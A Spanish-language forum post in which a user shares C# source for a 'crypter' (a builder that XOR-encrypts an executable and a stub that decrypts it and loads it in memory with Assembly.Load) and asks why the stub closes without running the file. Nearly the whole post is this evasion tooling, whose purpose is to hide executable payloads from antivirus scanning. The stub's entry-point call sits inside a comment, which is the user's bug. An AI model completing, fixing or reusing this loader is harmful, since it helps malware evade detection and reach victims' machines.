Hola estoy modificando un facilito crypter en c# obviamente todos sabemos que c# para crypters no es lo suyo pero haciendolo el codigo es:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
namespace Crypter
{
class Program
{
[STAThread]
static void Main(string[] args)
{
//No Arguments -> Exit
if (args.Length < 2)
{
Console.WriteLine("Syntax: crypter.exe <Exe/Dll to get Encrypted> <Password> (Optional: output file name)");
Environment.Exit(0);
}
String file = args[0];
String pass = args[1];
String outFile = "Crypted.exe";
//If Output Name is specified -> Set it
if (args.Length == 3)
{
outFile = args[2];
}
//File doesn't exist -> Exit
if (!File.Exists(file))
{
Console.WriteLine("[!] The selected File doesn't exist!");
Environment.Exit(0);
}
//Everything seems fine -> Reading bytes
Console.WriteLine("[*] Reading Data...");
byte[] plainBytes = File.ReadAllBytes(file);
//Yep, got bytes -> Encoding
Console.WriteLine("[*] Encoding Data...");
byte[] encodedBytes = encodeBytes(plainBytes, pass);
Console.Write("[*] Save to Output File... ");
File.WriteAllBytes(outFile, encodedBytes);
Console.WriteLine("Done!");
Console.WriteLine("\n[*] File successfully encoded!");
}
private static byte[] encodeBytes(byte[] bytes, String pass)
{
byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= XorBytes[i % XorBytes.Length];
}
return bytes;
}
}
}
El stub:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Text;
using System.Reflection;
using System.Diagnostics;
namespace Stub
{
static class Program
{
/// <summary>
/// MAIN
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
//Application.Run(new Form1());
//Set Payload File and Password HERE
RunInternalExe("C:/Users/Androide/Desktop/test/o.txt", "1234");
}
private static void RunInternalExe(string exeName, String pass)
{
//Verify the Payload exists
if (!File.Exists(exeName))
return;
//Read the raw bytes of the file
byte[] resourcesBuffer = File.ReadAllBytes(exeName);
//Decrypt bytes from payload
byte[] decryptedBuffer = null;
decryptedBuffer = decryptBytes(resourcesBuffer, pass);
//If .NET executable -> Run
if(Encoding.Unicode.GetString(decryptedBuffer).Contains("</assembly>"))
{
//Load the bytes as an assembly
Assembly exeAssembly = Assembly.Load(decryptedBuffer);
//Execute the assembly
object[] parameters
= new object[1]; //Don't know why but fixes TargetParameterCountException exeAssembly.EntryPoint.Invoke(null, parameters);
}
}
/// <summary>
/// Decrypt the Loaded Assembly Bytes
/// </summary>
/// <param name="payload"></param>
/// <returns>Decrypted Bytes</returns>
private static byte[] decryptBytes(byte[] bytes, String pass)
{
byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= XorBytes[i % XorBytes.Length];
}
return bytes;
}
}
}
Pero cuando pongo abro el stub se me cierra y no me abre mi fichero y lo encripte correctamente y todo que estoy haciendo mal?
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